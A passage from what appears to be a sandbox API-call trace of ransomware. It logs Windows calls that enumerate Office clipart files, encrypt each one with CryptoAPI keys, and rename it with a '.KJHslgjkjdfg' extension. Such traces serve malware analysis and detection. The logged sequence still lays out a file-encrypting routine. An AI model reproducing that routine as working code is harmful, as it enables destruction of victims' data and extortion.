dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0176.765] GetProcessHeap () returned 0x2a0000 [0176.765] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0176.765] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0176.765] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0176.765] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0177.514] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0177.514] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0177.514] GetProcessHeap () returned 0x2a0000 [0177.514] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0177.514] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0177.514] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0177.514] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0177.514] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0177.515] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0177.515] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0177.515] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0177.515] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0177.515] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0177.515] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0177.515] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.515] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xb594, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xb594, lpOverlapped=0x0) returned 1 [0177.626] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xb5a0, dwBufLen=0xb5a0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xb5a0) returned 1 [0177.627] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.627] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xb5a0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xb5a0, lpOverlapped=0x0) returned 1 [0177.628] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0177.628] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xb674, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.628] SetEndOfFile (hFile=0x114) returned 1 [0177.631] GetProcessHeap () returned 0x2a0000 [0177.631] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0177.631] GetProcessHeap () returned 0x2a0000 [0177.631] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0177.631] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0164153.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0164153.jpg.kjhslgjkjdfg")) returned 1 [0177.694] CloseHandle (hObject=0x114) returned 1 [0177.695] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x51aa, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0168644.WMF", cAlternateFileName="")) returned 1 [0177.695] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0168644.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0177.696] GetProcessHeap () returned 0x2a0000 [0177.696] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0177.696] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0177.696] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0177.696] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x6, lpOverlapped=0x0) returned 1 [0177.698] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0177.698] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0177.698] GetProcessHeap () returned 0x2a0000 [0177.698] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0177.698] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0177.698] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0177.698] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0177.698] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0177.698] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0177.698] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0177.698] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0177.698] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0177.698] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0177.699] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0177.699] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.699] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x51aa, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x51aa, lpOverlapped=0x0) returned 1 [0177.700] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x51b0, dwBufLen=0x51b0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x51b0) returned 1 [0177.700] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.700] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x51b0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x51b0, lpOverlapped=0x0) returned 1 [0177.701] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0177.701] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x5284, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.701] SetEndOfFile (hFile=0x114) returned 1 [0177.703] GetProcessHeap () returned 0x2a0000 [0177.703] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0177.703] GetProcessHeap () returned 0x2a0000 [0177.703] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0177.703] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0168644.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0168644.wmf.kjhslgjkjdfg")) returned 1 [0177.704] CloseHandle (hObject=0x114) returned 1 [0177.704] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3888, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0171685.WMF", cAlternateFileName="")) returned 1 [0177.704] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0171685.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0177.705] GetProcessHeap () returned 0x2a0000 [0177.705] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0177.705] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0177.705] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0177.705] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0177.713] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0177.713] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0177.713] GetProcessHeap () returned 0x2a0000 [0177.713] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0177.713] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0177.713] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0177.713] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0177.713] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0177.713] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0177.714] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0177.714] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0177.714] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0177.714] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0177.714] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0177.714] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.714] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3888, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x3888, lpOverlapped=0x0) returned 1 [0177.727] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3890, dwBufLen=0x3890 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3890) returned 1 [0177.727] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.727] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3890, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3890, lpOverlapped=0x0) returned 1 [0177.728] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0177.728] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x3964, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.728] SetEndOfFile (hFile=0x114) returned 1 [0177.731] GetProcessHeap () returned 0x2a0000 [0177.731] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0177.731] GetProcessHeap () returned 0x2a0000 [0177.731] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0177.731] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0171685.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0171685.wmf.kjhslgjkjdfg")) returned 1 [0177.732] CloseHandle (hObject=0x114) returned 1 [0177.732] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1ae8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0171847.WMF", cAlternateFileName="")) returned 1 [0177.732] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0171847.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0177.733] GetProcessHeap () returned 0x2a0000 [0177.733] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0177.733] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0177.733] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0177.733] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0177.761] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0177.761] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0177.761] GetProcessHeap () returned 0x2a0000 [0177.761] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0177.761] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0177.763] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0177.763] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0177.763] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0177.763] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0177.764] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0177.764] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0177.764] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0177.764] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0177.764] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0177.764] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.764] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1ae8, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1ae8, lpOverlapped=0x0) returned 1 [0177.766] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1af0, dwBufLen=0x1af0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1af0) returned 1 [0177.766] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.766] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1af0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1af0, lpOverlapped=0x0) returned 1 [0177.766] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0177.766] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1bc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.766] SetEndOfFile (hFile=0x114) returned 1 [0177.769] GetProcessHeap () returned 0x2a0000 [0177.770] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0177.770] GetProcessHeap () returned 0x2a0000 [0177.770] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0177.770] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0171847.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0171847.wmf.kjhslgjkjdfg")) returned 1 [0177.771] CloseHandle (hObject=0x114) returned 1 [0177.771] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1d18, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0172035.WMF", cAlternateFileName="")) returned 1 [0177.771] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172035.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0177.772] GetProcessHeap () returned 0x2a0000 [0177.772] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0177.772] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0177.772] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0177.772] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0177.785] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0177.785] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0177.785] GetProcessHeap () returned 0x2a0000 [0177.785] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0177.785] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0177.785] CryptDestroyKey 